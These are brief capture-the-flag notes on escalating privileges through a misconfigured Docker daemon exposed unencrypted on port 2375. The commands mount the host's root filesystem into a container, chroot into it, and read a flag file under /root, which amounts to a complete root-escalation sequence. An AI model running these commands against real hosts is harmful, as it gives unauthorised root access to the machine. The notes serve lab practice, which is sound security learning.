Docker Privilege Escalation : Misconfigured Docker Socket Notes

netstat -tlp
curl localhost:2375/version   //unencrypted connections on port 2375
export DOCKER_HOST="tcp://localhost:2375"
docker images //images available on local machine
docker run -it -v /:/host/ ubuntu:18.04 bash //starting an ubuntu container
cd /host/      //directory change to /host/
ls -l
chroot ./ bash
find / -name flag 2>/dev/null //Finding the flag location
cat /root/flag //To get the flag content